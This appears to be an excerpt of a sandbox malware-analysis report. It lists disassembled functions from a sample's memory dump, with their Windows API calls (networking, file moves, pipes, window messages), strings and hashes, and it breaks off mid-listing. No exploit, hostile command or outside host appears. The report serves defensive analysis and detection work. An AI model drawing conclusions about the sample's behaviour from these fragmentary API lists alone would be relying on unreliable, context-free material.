Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 01c4be17ca21c04b2ee09e9d8887d956d1db1347316ce048c859382cfb033319
Instruction ID: 7ac852115f992338357cc1a59da90051fca53a25f0e9a5b088ff23441d38b1dc
Opcode Fuzzy Hash: 01c4be17ca21c04b2ee09e9d8887d956d1db1347316ce048c859382cfb033319
Instruction Fuzzy Hash: E85118A15047D53DFB33A334CC85B7ABED89B05301F0889DAE1D5968E2D794EC84D752

Function 00B5542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00B63CD6,?,?,?,?,?,?,?,?,00B55BA3,?,?,00B63CD6,?,?), ref: 00B55470
__fassign.LIBCMT ref: 00B554EB
__fassign.LIBCMT ref: 00B55506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00B63CD6,00000005,00000000,00000000), ref: 00B5552C
WriteFile.KERNEL32(?,00B63CD6,00000000,00B55BA3,00000000,?,?,?,?,?,?,?,?,?,00B55BA3,?), ref: 00B5554B
WriteFile.KERNEL32(?,?,00000001,00B55BA3,00000000,?,?,?,?,?,?,?,?,?,00B55BA3,?), ref: 00B55584

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 81e49cc6df2f7ff7fcf2e7908c708d7f2a315791878c4a8f88de2d13dabc3078
Instruction ID: 16b35d20dda6acbc089778beeb5646e0a68cde8823118aa2f1ab0f55e4cf7ddd
Opcode Fuzzy Hash: 81e49cc6df2f7ff7fcf2e7908c708d7f2a315791878c4a8f88de2d13dabc3078
Instruction Fuzzy Hash: E751E6709006499FDB20CFA8D891BEEBBF9EF18302F14419AF955E7291E7309A45CB60

Function 00B42D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00B42D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00B42D53
_ValidateLocalCookies.LIBCMT ref: 00B42DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00B42E0C
_ValidateLocalCookies.LIBCMT ref: 00B42E61

Strings

csm, xrefs: 00B42DF6

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 7ce856bb0006444a82e39bfb586611bb75b1de29b3af385c48c6c9fe581b4abc
Instruction ID: 46b22e596f7a2c1f58a5c623803d17cf90495c3ae790c1a4136f62e14b16015f
Opcode Fuzzy Hash: 7ce856bb0006444a82e39bfb586611bb75b1de29b3af385c48c6c9fe581b4abc
Instruction Fuzzy Hash: 64418134E00209ABCF10DF68C885A9EBBF5FF44324F5481A5F815AB352D7319B15EB90

Function 00BA10B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00BA307A
Part of subcall function 00BA304E: _wcslen.LIBCMT ref: 00BA309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00BA1112
WSAGetLastError.WSOCK32 ref: 00BA1121
WSAGetLastError.WSOCK32 ref: 00BA11C9
closesocket.WSOCK32(00000000), ref: 00BA11F9

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 949d3db717412f000f95ac1ad75cd1a985ee5bbf0726a1e57bccd8c27bf0b387
Instruction ID: 2f9ced3fde88cc2bbecc6ba4e914fae41d6bf5527383aa625a412583838a075f
Opcode Fuzzy Hash: 949d3db717412f000f95ac1ad75cd1a985ee5bbf0726a1e57bccd8c27bf0b387
Instruction Fuzzy Hash: 51412331204214AFDB10DF18CC84BAABBE9EF46324F148199FD09AB291CB70ED41CBE1

Function 00B8CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B8CF22,?), ref: 00B8DDFD

Part of subcall function 00B8DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B8CF22,?), ref: 00B8DE16

lstrcmpiW.KERNEL32(?,?), ref: 00B8CF45
MoveFileW.KERNEL32(?,?), ref: 00B8CF7F
_wcslen.LIBCMT ref: 00B8D005
_wcslen.LIBCMT ref: 00B8D01B
SHFileOperationW.SHELL32(?), ref: 00B8D061

Strings

\*.*, xrefs: 00B8CFF3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: b207eb797c5c9d008c7b4ec14835baa0688bcb1323f43005e8cc96efd7236786
Instruction ID: 358cbfe6b74904e72b628cd0b7aa14a07e6b9e53ec82aa6a8d40574345fe56dd
Opcode Fuzzy Hash: b207eb797c5c9d008c7b4ec14835baa0688bcb1323f43005e8cc96efd7236786
Instruction Fuzzy Hash: C14103B19452185FDF12FFA4D981ADEB7F9EF18380F1000E6A609EB151EB74A749CB50

Function 00BB2DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00BB2E1C
GetWindowLongW.USER32(?,000000F0), ref: 00BB2E4F
GetWindowLongW.USER32(?,000000F0), ref: 00BB2E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00BB2EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00BB2EE0
GetWindowLongW.USER32(?,000000F0), ref: 00BB2EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00BB2F0B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 05c61ef2f69f165421db9fb404e7b91f6d988f8cdc8955e9b582ac69afec88d8
Instruction ID: 4de2d228e95481f83371f14dd928b1d7c03ac9c070f1fe495ed757b9c5ec9ee6
Opcode Fuzzy Hash: 05c61ef2f69f165421db9fb404e7b91f6d988f8cdc8955e9b582ac69afec88d8
Instruction Fuzzy Hash: 1131FD30604290EFEB21CF59DC85FB53BE5EB9A720F1546A4F9018B2B2CBB1E841DB51

Function 00B87726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B87769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B8778F
SysAllocString.OLEAUT32(00000000), ref: 00B87792
SysAllocString.OLEAUT32(?), ref: 00B877B0
SysFreeString.OLEAUT32(?), ref: 00B877B9
StringFromGUID2.OLE32(?,?,00000028), ref: 00B877DE
SysAllocString.OLEAUT32(?), ref: 00B877EC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 6dbb8317c803b9824f549e560f95e56b9f93366e6ccc803a0dcd7e7a0a4f651c
Instruction ID: a90c96e990dd67ef2374f6f480685597e51b408c152b035105f8a322758b7231
Opcode Fuzzy Hash: 6dbb8317c803b9824f549e560f95e56b9f93366e6ccc803a0dcd7e7a0a4f651c
Instruction Fuzzy Hash: 6621A77A604219AFDF10EFA8CC88CBB77ECEB097687148165F915DB260DA70DD41C764

Function 00B877FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B87842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B87868
SysAllocString.OLEAUT32(00000000), ref: 00B8786B
SysAllocString.OLEAUT32 ref: 00B8788C
SysFreeString.OLEAUT32 ref: 00B87895
StringFromGUID2.OLE32(?,?,00000028), ref: 00B878AF
SysAllocString.OLEAUT32(?), ref: 00B878BD

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: d2f6595df30e17c4946cea2f29bcd407423f7ee5c18e5dda1781010de788f3c1
Instruction ID: 585d9f16e57398832736c93e537e96a4a7218113583444daa0004098ecf40fac
Opcode Fuzzy Hash: d2f6595df30e17c4946cea2f29bcd407423f7ee5c18e5dda1781010de788f3c1
Instruction Fuzzy Hash: F4218E31608205AF9B10EBA9DC8CDAA77ECEB08364B208165B915CB2A1DE70DC41CB64

Function 00B904D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00B904F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B9052E

Strings

nul, xrefs: 00B90567

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 7103abead16b1d541271a594f16f7ec8f9342eb786e922af3eb6fbb615f09062
Instruction ID: 5720e48db1df6fdb98f52726287ad4cb9dea1e876d2241d1edda3ef3014bca72
Opcode Fuzzy Hash: 7103abead16b1d541271a594f16f7ec8f9342eb786e922af3eb6fbb615f09062
Instruction Fuzzy Hash: DE2151755103059FDF20AF29D884A5A7BF4EF54764F614A79E8A1D72E0D770D940CF20

Function 00B905A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00B905C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B90601

Strings

nul, xrefs: 00B90639

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: ff7dc2631049fe6c116ae066d7fc0f6692cc3f53b4bfce69c6894b1da1a51136
Instruction ID: f627330ae3a54eaaaf1f95668719e5e902cf6fee70056ced0b3c1899ec1faedd
Opcode Fuzzy Hash: ff7dc2631049fe6c116ae066d7fc0f6692cc3f53b4bfce69c6894b1da1a51136
Instruction Fuzzy Hash: 752153755103059FDF20AF699C44A5A7BE8FF95724F200B69F8A1E72E0DBB09960CB20

Function 00BB40AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00B2604C
Part of subcall function 00B2600E: GetStockObject.GDI32(00000011), ref: 00B26060
Part of subcall function 00B2600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B2606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00BB4112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00BB411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00BB412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00BB4139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00BB4145

Strings

Msctls_Progress32, xrefs: 00BB40E3

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: c05824723e68450d9134bcab8d33d19d825354100f1b737aa2ed824ba9762264
Instruction ID: 8390cd5e4fdde30d2aca1263cab9a27a56893596751c603e2bf7374bc46efb23
Opcode Fuzzy Hash: c05824723e68450d9134bcab8d33d19d825354100f1b737aa2ed824ba9762264
Instruction Fuzzy Hash: 411190B2150219BFEF119E64CC85EF77F9DEF08798F004111BA18A6050CBB29C21DBA4

Function 00B5D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B5D7A3: _free.LIBCMT ref: 00B5D7CC

_free.LIBCMT ref: 00B5D82D

Part of subcall function 00B529C8: HeapFree.KERNEL32(00000000,00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000), ref: 00B529DE
Part of subcall function 00B529C8: GetLastError.KERNEL32(00000000,?,00B5D7D1,00000000,00000000,00000000,00000000,?,00B5D7F8,00000000,00000007,00000000,?,00B5DBF5,00000000,00000000), ref: 00B529F0

_free.LIBCMT ref: 00B5D838
_free.LIBCMT ref: 00B5D843
_free.LIBCMT ref: 00B5D897
_free.LIBCMT ref: 00B5D8A2
_free.LIBCMT ref: 00B5D8AD
_free.LIBCMT ref: 00B5D8B8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 29402ad087638ce728cb7eee2516f8574db46f77bd0b8bf4310d230ff3345ff4
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 28118171541B04AAD531BFB0CC07FCB7BDCAF09702F4009E5BA99A6A92DA24B9094650

Function 00B8DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00B8DA74
LoadStringW.USER32(00000000), ref: 00B8DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00B8DA91
LoadStringW.USER32(00000000), ref: 00B8DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B8DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00B8DAB9

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: 662fc3b047c52d0f2ae50464593111b872fc01856d43153aa4e0ed0a36fe7a17
Instruction ID: c3855d514cb6bb2fd2252b3c93d0051f0d9a46925db0af814d7db7cf436cc4d5
Opcode Fuzzy Hash: 662fc3b047c52d0f2ae50464593111b872fc01856d43153aa4e0ed0a36fe7a17
Instruction Fuzzy Hash: F6018BF29002087FE751E7A49D89EFB376CD708701F400596B706E3051EAB49D848F74

Function 00B9096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0108DEB0,0108DEB0), ref: 00B9097B
EnterCriticalSection.KERNEL32(0108DE90,00000000), ref: 00B9098D
TerminateThread.KERNEL32(?,000001F6), ref: 00B9099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00B909A9
CloseHandle.KERNEL32(?), ref: 00B909B8
InterlockedExchange.KERNEL32(0108DEB0,000001F6), ref: 00B909C8
LeaveCriticalSection.KERNEL32(0108DE90), ref: 00B909CF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: ff81f6f22996db380f98c3e61ee3230253e6e2f15b5fa9bb1e17fe83e906d95a
Instruction ID: f27c0f91d02d1dd5caef6a9914f43175428f19abd2c20012cbfa3d2716d5e23c
Opcode Fuzzy Hash: ff81f6f22996db380f98c3e61ee3230253e6e2f15b5fa9bb1e17fe83e906d95a
Instruction Fuzzy Hash: 93F03131442512BFDB459F94EE8CBD67F75FF01702F501126F101518A0CBB49865CF90

Function 00B25D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00B25D30
GetWindowRect.USER32(?,?), ref: 00B25D71
ScreenToClient.USER32(?,?), ref: 00B25D99
GetClientRect.USER32(?,?), ref: 00B25ED7
GetWindowRect.USER32(?,?), ref: 00B25EF8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: a017d2edafb7efc8444c82ce1d9abb35b9dc7f32c4cbbada86ad88d9b4327d2d
Instruction ID: ef890d180651bb47c6e453f2a7da6f3c8e52cbcd08130b2de9b4dfaec842611a
Opcode Fuzzy Hash: a017d2edafb7efc8444c82ce1d9abb35b9dc7f32c4cbbada86ad88d9b4327d2d
Instruction Fuzzy Hash: CFB17734A00A4ADFDB24DFA9C4807EEB7F1FF58310F14855AE8AAD7250DB34AA51DB50

Function 00B501B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00B500BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B500D6
__allrem.LIBCMT ref: 00B500ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B5010B
__allrem.LIBCMT ref: 00B50122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B50140

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction ID: b8291c8499bb12b7b946eb2de05c4f2e86cd8702b08461674aba44173b377354
Opcode Fuzzy Hash: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction Fuzzy Hash: EC810872A01B069BE720AF28CC41B6B73E8EF45325F2845FAF951D76C1E7B0DA089751

Function 00BA1D10 Relevance: 9.3, APIs: 6, Instructions: 254networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA3149: select.WSOCK32(00000000,?,00000000,00000000,?,?,?,00000000,?,?,?,00BA101C,00000000,?,?,00000000), ref: 00BA3195

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00BA1DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00BA1DE1
WSAGetLastError.WSOCK32 ref: 00BA1DF2
